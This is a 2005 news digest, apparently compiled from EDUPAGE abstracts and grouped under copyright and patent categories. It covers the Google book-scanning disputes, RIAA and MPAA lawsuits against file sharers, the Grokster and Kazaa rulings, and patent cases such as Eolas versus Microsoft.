Google has announced some changes to its Library Project following vocal criticism from a number of publishers. Under the terms of the project, Google made arrangements with five major libraries to scan some or all of their books, posting at least a portion of each book in an online repository for public access. Publishers complained that making such electronic copies of copyrighted works--regardless of whether they are put online--violates the rights of the copyright holder. Google now says it will not scan any book that a publisher specifically asks to be exempted, and it will not scan any copyrighted books until November, giving publishers time to review titles they might want excluded. Publishers appeared unmoved, however, with the Association of American Publishers (AAP) saying that Google's new plan "places the responsibility for preventing infringement on the copyright owner rather than the user." Peter Givler of the Association of American University Presses echoed the AAP's dissatisfaction with the changes to the project. He was glad that Google is trying to address publishers' concerns but said of the new policy that it "doesn't seem to me that it gets us very far." Chronicle of Higher Education, 12 August 2005

Category 4B1

Copyrights

2005-08-25

file movie sharing peer-to-peer P2P illegal downloading logs MPAA lawsuit BitTorrent intellectual property rights violation copyright infringement

EDUPAGE; http://news.com.com/2100-1025_3-5843082.html

MOVIE STUDIOS USE P2P SERVER LOGS AGAINST FILE TRADERS

The Motion Picture Association of America (MPAA) has filed 286 lawsuits for copyright infringement against individuals it identified from the server logs from file-trading services. MPAA efforts have resulted in the closure of a number of such services, many of which used BitTorrent technology. Information on file traders from those sites led to the "John Doe" lawsuits filed this week, marking the first time P2P logs have been used to seed such lawsuits. Indeed, Bram Cohen, who created BitTorrent to streamline downloading of very large files, said that using the technology for illegal file trading would be a "dumb idea" because it was never designed to conceal the identities of users. A statement from MPAA Senior Vice President John Malcom warns those who illegally download copyrighted movies, "You have no friends in the online community when you are engaging in copyright theft." CNET, 25 August 2005

Category 4B1

Copyrights

2005-08-31

**Google book scanning digitization project intellectual property rights violation
copyright infringement lawsuits litigation**

EDUPAGE; <http://www.internetnews.com/xSP/article.php/3531221>

GOOGLE PRESSES FORWARD SCANNING BOOKS

Google is moving ahead with its plans to digitize vast numbers of books and make them available online. The search engine this week expanded its book search service to 14 countries, including the United Kingdom, Canada, India, New Zealand, South Africa, and Australia, where users can now search English-language books. Although laws in each country dictate small differences in how the service works, according to Jim Gerber, director of content partnerships, in all countries the service offers three types of results: for books in the public domain, the entire text is available online; copyrighted works whose publishers have signed agreements with Google are available to the extent that those agreements allow; for copyrighted books whose publishers have not made agreements with Google, only selected portions will be available online. This last group of results has raised the ire of publishers, who argue that Google has no right to display any part of copyrighted works without permission. Google has offered publishers the opportunity to identify specific titles that will be excluded from the service, but most publishing groups have said that approach is inherently backwards, giving Google blanket authority until and unless publishers complain. Internet News, 31 August 2005

Category 4B1

Copyrights

2005-09-02

**lawsuit litigation intellectual property rights violation copyright infringement
graduate student paper sale vendor Website**

EDUPAGE; <http://www.insidehighered.com/news/2005/09/02/papers>

STUDENT SUES ONLINE TERM-PAPER VENDORS

A graduate student has filed a lawsuit charging three online vendors of term papers with selling a paper she wrote without her permission. Blue Macellari is currently pursuing graduate degrees at Johns Hopkins University and Duke University. The paper in question, which was written when she was a student at Mount Holyoke College, was posted on Macellari's personal Web page in 1999 but turned up for sale on DoingMyHomework.com, FreeforEssays.com, and FreeforTermPapers.com, all of which are owned by an Illinois company called R2C2. Macellari said she did not give her permission to use the paper, which itself could violate honor codes at Johns Hopkins and Duke. John Palfrey, law professor at Harvard University and executive director of the Berkman Center for Internet and Society, said that the defendants will have difficulty prevailing if Macellari's complaint is accurate. On the question of whether the action would have an appreciable effect on the sale of papers online, Palfrey was less optimistic. Comparing Macellari's lawsuit to similar actions to limit spam, he noted that spam continues to grow unabated. "It's hard to bring enough spam lawsuits to make a big difference," he said. Inside Higher Ed, 2 September 2005

Category 4B1

Copyrights

2005-09-06

**intellectual property rights violation copyright infringement Kazaa guilty ruling
Australia music piracy**

EDUPAGE; <http://www.internetnews.com/xSP/article.php/3532336>

KAZAA FOUND GUILTY OF COPYRIGHT VIOLATIONS IN AUSTRALIA

An Australian court this week ruled in favor of the Recording Industry Association of America (RIAA) in its lawsuit against the developers of the Kazaa file-sharing service for copyright violations. The ruling is the second major blow to file traders this year, after the U.S. Supreme Court in June found Grokster liable for the copyright violations of its users. The court in Australia said that Sydney-based Sharman Networks, which owns and operates Kazaa, is well aware that its network is widely used to illegally trade copyrighted files and has done little to curb the practice other than adding warnings on the site. Those warnings, as well as an end user agreement that users must sign, "are ineffective to prevent, or even substantially to curtail, copyright infringements by users," said Judge Murray Wilcox in his ruling. Wilcox ordered Sharman to install filters on Kazaa to limit copyright violations within two months or discontinue the service. Wilcox also ordered Sharman to pay the majority of the RIAA's legal costs, and later this year a hearing will be held to assign damages that Sharman must pay to the entertainment industry. Internet News, 6 September 2005

Category 4B1

Copyrights

2005-09-12

intellectual property rights copyright IBM source code business-process models donation insurance body

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1858051,00.asp>

IBM DONATES CODE TO KATRINA EFFORT

In the wake of Hurricane Katrina and the Asian tsunami IBM has donated programming code and intellectual property to the Association for Cooperative Operations Research and Development (ACORD), the insurance industry's computing standards body. IBM has contributed more than 100 business-process models, model definitions and other industry content to ACORD in last week.

Category 4B1

Copyrights

2005-09-15

RIAA peer-to-peer P2P Grokster Supreme Court ruling music piracy intellectual property rights violation copyright infringement

EDUPAGE; http://news.com.com/2100-1030_3-5867085.html

RIAA TARGETS MORE P2P SERVICES

Following its Supreme Court victory against Grokster in June, the Recording Industry Association of America (RIAA) has sent cease-and-desist letters to seven unnamed providers of P2P services. In the Grokster case, the Supreme Court unanimously ruled that operators of P2P services are in part liable for the copyright infringements of their users and bear some responsibility for trying to prevent illegal file trading on their networks. The new cease-and-desist letters mention the Grokster case, saying the newly targeted companies are subject to similar legal standards, and invites those companies to contact the RIAA if they are interested in "pre-litigation resolution of these claims against you." Although the RIAA did not name the P2P providers who received the letters, likely candidates include eDonkey, LimeWire, Kazaa, BearShare, WinMX, and Free Peers. According to an RIAA spokesperson, "Companies situated similarly to Grokster have been given ample opportunity to do the right thing." CNET, 15 September 2005

Category 4B1

Copyrights

2005-09-19

peer-to-peer P2P file sharing intellectual property rights violation copyright infringement Grokster Supreme Court shut down acquisition Mashboxx

EDUPAGE; <http://online.wsj.com/article/0,,SB112709561414344552,00.html>

GROKSTER IN TALKS TO BE ACQUIRED

Following a Supreme Court defeat this summer, P2P service provider Grokster is reportedly considering being acquired by Mashboxx, a provider of legal downloads that is expected to start operating in the next few months. The Supreme Court's decision opened the door to record studios' suing Grokster and its defendant Morpheus for damages from copyright violations taking place on their networks. The Recording Industry Association of America (RIAA), which brought the suit and has since notified other P2P providers of its intention to force them to limit copyright violations, is reportedly considering dropping its complaint against those providers that agree to adopt a business model of legal downloads. Indeed, the RIAA has already reached a settlement with iMesh, though the organization declined to comment on any discussions with Grokster. Wayne Rosso, cofounder of Mashboxx and formerly the president of Grokster, said his current company will talk to any P2P provider that wants to transition to a legitimate, legal service. Mashboxx has signed a deal with Sony and is negotiating deals with other major record labels. Wall Street Journal, 19 September 2005 (sub. Req')

Category 4B1

Copyrights

2005-09-21

intellectual property rights violation copyright infringement Google book scanning project lawsuit litigation Authors Guild

EDUPAGE; http://news.com.com/2100-1030_3-5875384.html

AUTHORS GUILD TAKES GOOGLE TO COURT

The latest challenge to Google's Print Library Project has come in the form of a lawsuit from the Authors Guild. Since Google announced its initiative to scan millions of books in several academic and public libraries and put those materials--or portions of them--online, the search engine has been roundly criticized by publishers and others who say the entire project represents copyright infringement. Nick Taylor, president of the Authors Guild, said, "It's not up to Google or anyone other than the authors, the rightful owners of these copyrights, to decide whether and how their works will be copied." Google continues to assert that it respects copyright and that the project does not violate copyright laws. Moreover, Google contends that the project will be a boon for publishers due to the broad exposure that scanned books will have online. Plaintiffs, who are seeking class action status for their suit, are asking the courts for damages and an injunction against scanning the texts in question. CNET, 21 September 2005

Category 4B1

Copyrights

2005-09-21

Baidu China search engine MP3 music download intellectual property rights violation copyright infringement lawsuit damages

EDUPAGE; <http://online.wsj.com/article/0,,SB112725336407246620,00.html>

BAIDU TO APPEAL RULING IN COPYRIGHT CASE

Chinese search engine Baidu said it will appeal a ruling by a Beijing court that found the company guilty of copyright violations for providing access to sites that offer illegal music downloads. Baidu has a dedicated MP3 search feature that has been extremely popular, but with the search engine's success has come criticism from record companies, some of which are said to have initiated legal action against the company, though Baidu's lawyer did not comment on that. The Beijing court ordered Baidu to stop providing access to the illegal downloads and to pay copyright owners damages of about \$8,500 for each of 34 copyrights that were allegedly violated. Li Decheng, Baidu's lawyer, said the verdict hinges on a misunderstanding of what the search engine's technology actually does. Wall Street Journal, 21 September 2005 (sub. req'd)

Category 4B1

Copyrights

2005-09-28

Wikibooks Wikipedia online free Internet open source book publishing Google digital library intellectual property rights copyright

EDUPAGE; http://news.zdnet.com/2100-9588_22-5884291.html

WIKIBOOKS ENTERS TEXTBOOK PUBLISHING FIELD

The Wikimedia Foundation launched the Wikibooks project to create a kindergarten-to-college curriculum of textbooks based on an open source development model. Material written for the new texts can be short or long and easily modified, and the resulting Wikibooks would be freely licensed. The goal is to produce thousands of books and smaller entries on a range of topics by employing a worldwide community of writers and editors. Any reader or student could create a personalized book or edit an existing title. Wikibooks currently contains more than 11,000 submissions from volunteers (professionals in many fields, college and graduate students, and professors). The project is still in the early stages and faces competitors such as Google's digital library project, which has run into copyright issues.

ZDNet, 28 September 2005

Category 4B1

Copyrights

2005-09-29

RIAA lawsuit John Doe college student music piracy peer-to-peer P2P music file downloading intellectual property rights violation copyright infringement Supreme Court Kazaa Grokster

EDUPAGE; <http://www.internetnews.com/xSP/article.php/3552651>

RIAA CONTINUES TO SUE SWAPPERS, MANY ON CAMPUS

The Recording Industry Association of America (RIAA) has filed a new batch of 757 John Doe lawsuits against users of P2P networks, accusing them of copyright violations. Included in the new suits are cases against individuals at 17 college and university campuses accused of illegally trading songs over Internet2's high-speed network using a file-sharing application called i2hub. The current action is the third time the RIAA has targeted users of i2hub and brings to 39 the number of campuses where students have been accused of copyright infringement using the application. Cary Sherman, president of the RIAA, invoked this summer's Supreme Court ruling against Grokster in a statement he issued with the new lawsuits. "The authority of the Supreme Court's unanimous ruling in the Grokster case," he said, "should not be ignored by students returning to campus this fall with sights set on free music." Sherman praised efforts at some campuses to educate users and restrict their ability to illegally trade copyrighted material on university networks. Internet News, 29 September 2005

Category 4B1

Copyrights

2005-10-03

Yahoo intellectual property rights copyright book scanning project Open Content Alliance Internet Archive

EDUPAGE; <http://chronicle.com/free/2005/10/2005100301t.htm>

YAHOO ANNOUNCES BOOK-SCANNING PROJECT

Yahoo has announced a plan to scan large collections of texts into an online digital archive, though officials said their approach differs in important ways from Google's similar venture, which has drawn extensive criticism and legal action. Yahoo's initiative, called the Open Content Alliance (OCA), represents a partnership with the University of California, the University of Toronto, the Internet Archive, and several other companies and organizations. Unlike Google's project, they will not scan any copyrighted work without explicit permission. Organizers of the project said the goal is to digitize and make freely available as much of what is in the public domain as possible. In addition, the archive will not be restricted to users of Yahoo. David Mandelbrot, Yahoo's vice president for search content, said the texts will be online in such a way that other search engines will be able to locate them. Much of the scanning for the OCA will be done by the Internet Archive, which has already been working with the University of Toronto on scanning several thousand books in its collection. Chronicle of Higher Education, 3 October 2005

Category 4B1

Copyrights

2005-10-07

Google intellectual property rights violation copyright infringement book scanning project

EDUPAGE; <http://chronicle.com/daily/2005/10/2005100701t.htm>

AUTHOR AND PUBLISHER PULL BOOKS FROM GOOGLE

Google's controversial program to scan millions of books has run afoul of a very prolific author and his publisher. Jacob Neusner, a research professor of theology at Bard College, has written more than 900 books. Calling Google's book-scanning project a violation of copyright, Neusner requested that his books not be included in the database. Google's response was that Neusner must submit a separate form for each book he wanted excepted from the project. Siding with Neusner, the Rowman & Littlefield Publishing Group, which has published many of Neusner's titles, then told Google it wanted all of its titles excluded from the project as well. Calling the scanning project "unfair and arrogant," Jed Lyons, president of Rowman & Littlefield, said, "[W]e don't want to do business with an organization that thumbs its nose at publishers and authors." Lyons said representatives from Google are trying to persuade the publisher to change its decision. Chronicle of Higher Education, 7 October 2005 (sub. Req'd)

Category 4B1

Copyrights

2005-10-11

intellectual property rights Copyright Clearance Center permissions Blackboard higher education

EDUPAGE; <http://www.insidehighered.com/news/2005/10/11/copyright>

SECURING COPYRIGHT PERMISSIONS GETS EASIER

The Copyright Clearance Center is launching a program to link its services with the Blackboard course management system. The center was created by Congress in the late 1970s to help businesses and academics obtain appropriate permissions from copyright holders. The new Copyright Permissions Building Block will allow users of Blackboard, which is implemented on about 1,200 campuses, to tie directly into the Copyright Clearance Center when creating a course. Many faculty are unsure about when permissions are needed to use copyrighted material in a course and when they are not, exposing themselves and their universities to possible copyright violations. The new tool will protect faculty and their institutions from such risks while ensuring that the rights of copyright holders are respected. Officials from the Copyright Clearance Center said they hope to add the functionality to other vendors' course management systems. Inside Higher Ed, 11 October 2005

Category 4B1

Copyrights

2005-10-25

Microsoft Yahoo book project Internet archive intellectual property rights copyright Open Source Alliance

EDUPAGE; http://news.zdnet.com/2100-9588_22-5913711.html

MICROSOFT JOINS YAHOO BOOK PROJECT

Microsoft has said it will participate in a recently announced book-scanning project led by Yahoo and the Internet Archive. Unlike Google's much-maligned project, the Yahoo initiative, called the Open Content Alliance, will only scan books that are in the public domain or for which explicit permission has been granted by the copyright holder. In contrast, Google will scan copyrighted books unless copyright holders specifically request that their books be excluded, though only small portions of copyrighted books will be available online. For its part, Microsoft will finance the scanning of about 150,000 books, while Yahoo will pay for about 18,000 books to be digitized. The Open Content Alliance also differs from Google's project in that all of the content from the alliance will be available from a database to any search engine; Google will be the only means to access the content of its project. Microsoft will create an MSN Book Search service next year, though the business model for particular services and fees has not been set, according to Danielle Tiedt, general manager of search content acquisition at MSN. ZDNet, 25 October 2005

Category 4B1

Copyrights

2005-10-29

intellectual property rights violation copyright infringement Google book scanning project lawsuit litigation court damages

EDUPAGE; <http://news.bbc.co.uk/2/hi/business/4358768.stm>

MORE SUITS TARGET GOOGLE'S BOOK SCANNING PROJECT

After failing to reach an agreement during several months of negotiations, a group of five publishers has filed a lawsuit against Google over its book-scanning project. The project has come under fire since it was announced, with publishers and copyright holders arguing that scanning their texts constitutes a violation of their copyright, regardless of whether the digital copy is made available online in its entirety. Penguin, McGraw-Hill, Pearson Education, Simon and Schuster, and John Wiley and Sons have sued Google, seeking to have the project cancelled. The publishers are asking for Google to pay court costs but not damages. All five are members of the Association of American Publishers, which had been in talks with Google for months. Last month, an organization representing writers sued Google over the book-scanning project. Google continues to maintain that it respects the rights of publishers and copyright holders and that the project will bring wider exposure for the scanned text. BBC, 19 October 2005

Category 4B1

Copyrights

2005-11-07

peer-to-peer P2P illegal file sharing downloading intellectual property rights violation copyright infringement Grokster Supreme Court ruling shut down RAA MPAA

EDUPAGE; <http://www.macworld.com/news/2005/11/07/grokster/index.php>

GROKSTER REACHES THE END OF THE LINE

Following the U.S. Supreme Court's ruling this summer against Grokster, the company has agreed to a settlement that requires it to shut down its operations. The Supreme Court unanimously ruled that despite the possibility of noninfringing uses of Grokster's technology, the company could be held liable for violations that took place using its tools because it did not adequately discourage or deter users from such violations. According to the Recording Industry Association of America (RIAA) and the Motion Picture Association of American (MPAA), in the settlement Grokster agreed to end its operations and to permanently cease contributing to copyright infringement, either directly or indirectly. The Grokster site no longer includes links to download the company's software, instead featuring a message noting that copyright violations are illegal and will be prosecuted. The company said it plans to launch a legal service, called Grokster3G, in the near future. Macworld, 7 November 2005

Category 4B1

Copyrights

2005-11-07

peer-to-peer P2P illegal file movie sharing downloading intellectual property rights violation copyright infringement jail Hong Kong BitTorrent

EDUPAGE; <http://www.iht.com/articles/2005/11/07/business/bit.php>

BITTORRENT USER SENTENCED FOR TRADING MOVIES

A court in Hong Kong has sentenced a citizen there to three months in prison for illegally distributing movies online. Chan Nai-ming was found guilty of making three movies available on his computer with BitTorrent tools and then, under the name Big Crook, of notifying Internet users that the movies were available for download. The case is the first in which a user of the BitTorrent technology has been found guilty of copyright infringement, and the case also represents Hong Kong's stepped up efforts to prosecute file-sharing crimes. The country is seen by many as a haven for intellectual-property crimes, a reputation the Hong Kong government hopes to shed. Government officials applauded the verdict and the sentence, saying they would deter others from committing similar crimes. Chan's lawyer said his client would appeal the verdict. Chan remains free on bail while the legal action continues. International Herald Tribune, 7 November 2005

Category 4B1

Copyrights

2005-11-10

intellectual property rights violation copyright infringement protection Attorney General Alberto Gonzalez BSA RIAA

EDUPAGE; http://news.com.com/2100-1028_3-5944612.html

FEDS PUSH FOR STRICTER COPYRIGHT PROTECTIONS

According to Attorney General Alberto Gonzales, the Justice Department recently submitted a package of legislative proposals to Congress that would broaden the scope of laws to protect copyright and would strengthen law enforcement powers to investigate such crimes. Among the proposals are recommendations to allow enforcement of copyrights, regardless of whether they are registered; to hold those found guilty of infringement liable for compensation to the victims; and to allow the seizure and destruction of counterfeit goods, equipment used to make such goods, and property acquired with the profits from such goods. The proposals would also make it a crime to "attempt to infringe copyright." Groups such as the Business Software Alliance and the Recording Industry Association of America welcomed the proposed changes to copyright law, while those concerned about fair use rights expressed reservations. An organization called Public Knowledge said in a statement that it is "concerned that the Justice Department's proposal attempts to enforce copyright law in ways it has never before been enforced." CNET, 10 November 2005

Category 4B1

Copyrights

2005-11-15

illegal downloading intellectual property rights violation copyright infringement program initiative

EDUPAGE; http://news.com.com/2100-1029_3-5954668.html

PROGRAM WILL SHED LIGHT ON DOWNLOADS

A new initiative is designed to give computer users the information they need to avoid downloading software that includes ad programs or other pieces of code that they do not want. The Trusted Download Program, created by America Online, Yahoo, CNET Networks, Verizon, and Computer Associates, will offer a certification program for companies that offer downloads. Rather than determining what should or should not be allowed in a download, however, the certifications simply require vendors to disclose exactly what the products do and what other components, such as adware or spyware, are included. Users are then given the opportunity before downloading any software to see that information. Before the software can be downloaded, users must explicitly agree to the indicated components of the download. Consent is then required again before the software can be installed. Clear instructions for uninstalling the software must also be provided. CNET, 15 November 2005

Category 4B1

Copyrights

2005-11-22

movie piracy BitTorrent peer-to-peer P2P file sharing MPAA Bram Cohen deal copyright infringement intellectual property right protection

EDUPAGE; http://news.com.com/2100-1032_3-5967750.html

MPAA AND BITTORRENT MAKE NICE

The Motion Picture Association of America (MPAA) and the creator of BitTorrent technology have announced an agreement that will keep many BitTorrent users from finding copyrighted movie files with the technology. In May, Bram Cohen added a service to his site, BitTorrent.com, that allowed users to search the Web for file downloads that use the popular technology. Under the new agreement, Cohen will remove copyrighted content from search results on his site. Although his technology has become a favorite for many traders in copyrighted material, Cohen does not offer services targeted at such users and has previously discouraged using the technology for illegal file trading. The entertainment industry has not targeted Cohen for prosecution for copyright violations, but a number of individual BitTorrent users have been sued for such violations. Despite the agreement, however, several other sites that search the Web for BitTorrent downloads remain operational. CNET, 22 November 2005

Category 4B1

Copyrights

2005-11-22

Internet Web plagiarism copyright infringement intellectual property rights violations UK British government parents teachers children

EDUPAGE; http://news.bbc.co.uk/2/hi/uk_news/education/4460702.stm

THE INTERSECTION OF TECHNOLOGY AND CHEATING

An expert in the impact of technology on teaching and learning has told the British government that parents and teachers--not technology tools--can effectively address the problem of Internet cheating. Following a report from the Qualifications and Curriculum Authority that identified widespread cheating, government officials sought advice from Jean Underwood, professor at Nottingham Trent University, about solutions to students' using technology to cheat. Underwood acknowledged that the line between providing appropriate assistance to a student and facilitating cheating is not always clearly defined, and she noted that some technologies can help examiners easily identify instances of plagiarism. But students, she said, will forever be able to find ways to circumvent technology that screens for cheating. The real solution will be to change student attitudes toward their work, making them understand the value of doing it themselves and genuinely learning the material. BBC, 22 November 2005

Category 4B1

Copyrights

2005-11-30

Free Software Foundation FSF General Public License GPL open-source Richard Stallman license revision intellectual property rights copyright

EDUPAGE; <http://www.nytimes.com/2005/11/30/technology/30license.html>

OPEN SOURCE LICENSE UP FOR REVISION

The Free Software Foundation has announced plans to revise the General Public License (GPL), which covers many open source applications including the Linux operating system. The license has not been revised since 1991, long before Linux and other open source applications had been implemented widely. Now, according to Eben Moglen, the foundation's general counsel, "The big boys, corporations and governments, have far more reason to be interested and concerned." The GPL and the Free Software Foundation are the creations of Richard Stallman, an unwavering critic of proprietary software and the author of much of the source code that led to the Linux operating system. Stallman has used the license and the foundation to foster what he says are the four principles of software: the ability to use, study, copy, and modify it. Stallman acknowledged that with the success of open source applications in recent years, the task of revising the GPL is complicated by patent issues, which must allow open source and proprietary software to run on the same systems. A first draft of the new GPL will be presented at MIT in mid-January. The revision process is expected to be completed by the end of 2006, with the Free Software Foundation making final decisions about changes. New York Times, 30 November 2005 (registration req'd)

Category 4B1

Copyrights

2005-12-12

intellectual property rights copyrights HarperCollins book publisher digitize Google Internet search index service

EDUPAGE; <http://online.wsj.com/article/SB113435527609919890.html>

HARPERCOLLINS TO DIGITIZE BOOKS

HarperCollins has announced plans to digitize its own books and make those files available through search services, marking the latest development in the rapidly changing landscape of electronic access to books. Google is working on its hotly contested service to scan vast numbers of texts and make them available online, while other companies have begun their own programs to digitize books. The move by HarperCollins is that company's attempt to be a part of new technologies while retaining control over its content. The company will pay to have an estimated 20,000 backlisted books digitized, as well as about 3,500 new titles each year. Those electronic files will be open to search engines to make indexes but not to download images of the pages. According to Brian Murray, group president of HarperCollins, "We'll own the file, and we'll control the terms of any sale." Jane Friedman, chief executive of the publisher, said, "We want to be the best collaborator, but we also want to take charge of our future." The company said the effort would also allow it to keep certain titles available long after they are out of print. Wall Street Journal, 12 December 2005 (sub. req'd)

Category 4B1

Copyrights

2005-12-12

music piracy illegal downloading intellectual property rights copyright violation RIAA lawsuit Cecilia Gonzalez ruling

EDUPAGE; http://news.com.com/2100-1028_3-5991531.html

APPEALS COURT REJECTS SAMPLING DEFENSE

An appeals court has upheld a federal court ruling against a woman who had been sued by the Recording Industry Association of America (RIAA) for illegally trading music files. The RIAA initially offered Cecilia Gonzalez a settlement of about \$3,500, which she rejected, and at her trial, a federal judge ruled in favor of the RIAA. In her appeal, Gonzalez argued that she had only downloaded songs with the intention of "sampling" them to decide if she wanted to purchase them and that this activity was protected under fair use. Gonzalez's computer contained at least 1,370 songs that she had downloaded. The three-judge appeals court rejected her argument and ordered Gonzalez to pay a fine of \$22,500. In its opinion, the court compared her defense to a "thief's contention that he shoplifted 'only 30' compact discs, planning to listen to them at home and pay later for any he liked." The ruling gives the recording industry an appellate-court victory that--while only a formal precedent in Illinois, Indiana, and Wisconsin--is likely to bolster its legal efforts to curb illegal file trading. CNET, 12 December 2005

Category 4B1

Copyrights

2005-12-12

intellectual property rights copyright violation infringement Music Publishers' Association MPA scores lyrics downloading illegal

EDUPAGE; <http://news.bbc.co.uk/2/hi/entertainment/4508158.stm>

SONG SITES UNDER THE GUN FOR COPYRIGHT VIOLATIONS

An organization representing U.S. sheet music publishers has said that in 2006 it will begin an effort to rein in the illegal online distribution of music scores and lyrics. The Music Publishers'

Association (MPA) said that such material is widely available on the Internet and suggested that, in addition to forcing sites to shut down and fining site operators, sentencing those responsible to jail time would be an effective deterrent. Lauren Keiser, president of the MPA, said the effort would initially focus on "very big sites that people would think are legitimate and very, very popular." David Israelite, president of the National Music Publishers' Association, echoed Keiser's comments, saying sites that publish guitar "tabs" and lyrics are stealing from songwriters and that "all tools under the law" will be used to curb the practice. Recently, music publishing company Warner Chappell forced PearLyrics to shut down its Internet site for unauthorized presentation of song lyrics. Walter Ritter, developer at PearLyrics, complained about the action from Warner Chappell, saying that his company provided a service that users want but that is otherwise unavailable. BBC, 12 December 2005

4B2 Patents

Category 4B2

Patents

2005-01-11

IBM patents source projects licensing fees property patents Matsushita Electric Industrial

EDUPAGE; <http://www.nytimes.com/2005/01/11/technology/11soft.html>

IBM OFFERS PATENTS TO OPEN SOURCE PROJECTS

IBM will begin allowing the use of 500 technologies covered by patents it holds by developers working on open source projects. While IBM will not forfeit the patents, it will seek no licensing fees from groups that use them on projects that meet a definition by the Open Source Initiative. Despite past donations of intellectual property to open source groups, the new program is seen as a fundamental shift in the company's approach because unlike those donations, this one does not hold the potential to harm IBM's competitors. The 500 patents that will be available involve 14 categories of technology and do not target any specific open source project. IBM said it hopes to create a "patent commons," including the initial 500 as well as other patents, that other companies could join. IBM's new approach to managing its intellectual property, however, has not diminished its pursuit of new patents. IBM, which is the world's largest patent holder, collected 3,248 new patents in 2004, 1,300 more than Matsushita Electric Industrial, which had the second-highest tally for the year.

Category 4B2

Patents

2005-03-02

University of California Microsoft patent infringement intellectual property rights violation Eolas Internet Explorer Web browser

EDUPAGE; http://news.com.com/2100-1032_3-5596500.html

EOLAS CASE SET TO GO AROUND AGAIN

Both sides claimed partial victory from an appeals court ruling in the patent infringement case between Microsoft and the University of California (UC). The case focuses on technology patented by Mike Doyle, a researcher at the university, which has been incorporated into most Web browsers, including Microsoft's Internet Explorer (IE). Eolas Technologies, a company that was spun off of the university and which holds a patent on the technology, has claimed patent infringement by Microsoft. A lower court found for Eolas and awarded it \$565 million in damages, but an appeals court this week sent the case back to a lower court to be tried again. The appeals court ruled that Viola, a browser written before UC applied for its patent, should have been considered by the jury. If Viola is determined to be "prior art," UC's patent could be invalidated. Microsoft has also argued that Doyle misled the U.S. Patent and Trademark Office, a charge that the appeals court decision brings back to the table. In UC's favor, the appeals court said the patent, if valid, covers a wider range of applications than attorneys for Microsoft had argued. The court also upheld the finding that copies of IE shipped abroad would be covered by a U.S. patent and would be considered in determining damages if the patent is upheld. CNET, 2 March 2005

Category 4B2

Patents

2005-09-30

intellectual property rights patent infringement lawsuit litigation Eolas University of California Web browser launch technology Microsoft WWC

EDUPAGE; <http://chronicle.com/daily/2005/09/2005093001t.htm>

EOLAS RULING SWINGS BACK TO UNIVERSITY OF CALIFORNIA

The U.S. Patent and Trademark Office has issued its final ruling in favor of the University of California in its patent dispute with Microsoft. At issue is a technology used for launching certain applications in Web browsers. The technology was developed at the University of California at San Francisco and licensed to a company called Eolas Technologies. Eolas and the university had earlier won a \$521 million judgment against Microsoft for violating the patent in its software, but that ruling was appealed on the grounds that the patent was not valid. Despite a preliminary ruling in which the Patent and Trademark Office indicated its leaning toward Microsoft's position on the Eolas patent, the final ruling upholds all of the university's claims. The ruling rejects the assertions of both Microsoft and the World Wide Web Consortium that the patent relies on "prior art." The case now returns to district court for trial. Chronicle of Higher Education, 30 September 2005 (sub. req'd)

Category 4B2

Patents

2005-11-08

intellectual property rights patent infringement ACE Acacia Research litigation lawsuit

EDUPAGE; <http://chronicle.com/daily/2005/11/2005110801t.htm>

LEGAL DANCE WITH ACACIA CONTINUES

Not long after Acacia Research updated the terms of a licensing agreement it is offering to colleges and universities, officials at the American Council on Education (ACE) said they are continuing with efforts to challenge Acadia's patent claim. Acacia contends that it owns patents that cover streaming of audio and video files over the Web and that most higher education institutions use technology that violates those patents. After a backlash from the terms it initially offered, Acacia revised its offer, freeing small schools from any licensing fee but insisting that large schools owe as much as \$5,000 per year. Although ACE was involved in the negotiations that led to the revised offer, David Ward, the organization's president, informed member campuses that ACE has not endorsed any agreement with Acacia and said institutions might benefit from waiting "until the broader legal negotiations are completed." Carlton Butts, vice president of licensing for Acacia, said he is not aware of any broader negotiations and contended that Acacia is "not trying to pull a fast one." Sheldon E. Steinbach, general counsel for ACE, said the communication from Ward was "a clarification that we felt was necessary." Many institutions remain cautious about signing a licensing agreement, pointing to ongoing debate over the legitimacy of Acacia's patent claims. Chronicle of Higher Education, 8 November 2005 (sub. req'd)

Category 4B2

Patents

2005-11-10

intellectual property rights patent infringement issue share source code

EDUPAGE; http://news.zdnet.com/2100-3513_22-5943781.html

NEW GROUP ADDRESSES OPEN SOURCE PATENT ISSUE

A new organization hopes to eliminate one of the major obstacles to adoption of open source technology: concern over patent and royalty disputes over shared code. The Open Invention Network (OIN), which includes IBM, Sony, Royal Philips Electronics, and Linux distributors Red Hat and Novell, will acquire and freely share patents that organizers hope will encourage broader adoption of open source tools, particularly Linux. Any organization that agrees not to assert its patents over those who have licenses with OIN will be permitted to use OIN patents for free. The business model for OIN represents a new arrangement in which patents are shared to promote the underlying Linux technology. Industry analyst Richard Doherty said, "A lot of lawyers are going to throw their hands up and ask, 'How do we make money from this?'" The answer, he said, is that they might not. ZDNet, 10 November 2005

Category 4B2

Patents

2005-11-15

intellectual property rights patents Open Source Development Labs OSDL library database

EDUPAGE; <http://www.internetnews.com/dev-news/article.php/3564201>

OSDL OPENS PATENT LIBRARY

The Open Source Development Labs (OSDL) has unveiled its public patent library (PatentCommons.org), which offers a free searchable database of patents donated to the open source community. The library is a catalogue of patents whose owners have agreed not to exert any control over the technologies as long as they are used to improve the open source community. The OSDL does not hold any of the patents but simply offers the site as a clearinghouse for information about patents, where they came from, what they do, and under what conditions they can be used. Officials from the OSDL said they expect more patents to be added to the database soon but that they wanted to launch the service now, ahead of patent pledges they expect later. The site should free open source developers from much of the uncertainty they have when using patented technologies in their development efforts. Internet News, 15 November 2005

Category 4B2

Patents

2005-11-28

**intellectual property rights violation patent infringement US Supreme Court
Hearing eBay case MercExchange**

EDUPAGE; <http://online.wsj.com/article/SB113319064690608067.html>

U.S. SUPREME COURT TO HEAR E-BAY PATENT CASE

The U.S. Supreme Court will hear a patent-infringement lawsuit involving eBay and a patent holding company that eBay lost in 2003. MercExchange holds a patent over sales and purchasing methods used in online auctions. The appeal deals with whether the U.S. District Court that handled the case should have issued a permanent injunction against eBay. The Federal U.S. Circuit Court of Appeals, which handles patent lawsuits on appeal, ruled that the federal trial judge should have issued a permanent injunction against eBay, which said they believe the legal reasoning used will force district courts to issue more injunctions in patent lawsuits. Meanwhile, Congress is considering legislation that would change how patent injunctions are issued by federal courts. The U.S. Patent and Trademark Office is also exploring the issue. Wall Street Journal, 28 November 2005 (sub. req'd)

Category 4B2

Patents

2005-11-30

intellectual property rights patent BlackBerry litigation

DHS IAIP Daily;

<http://www.techweb.com/wire/ebiz/174403076;jsessionid=0GCQWZR4LYF22QSNDBGCKH0CJUMEKJVN>

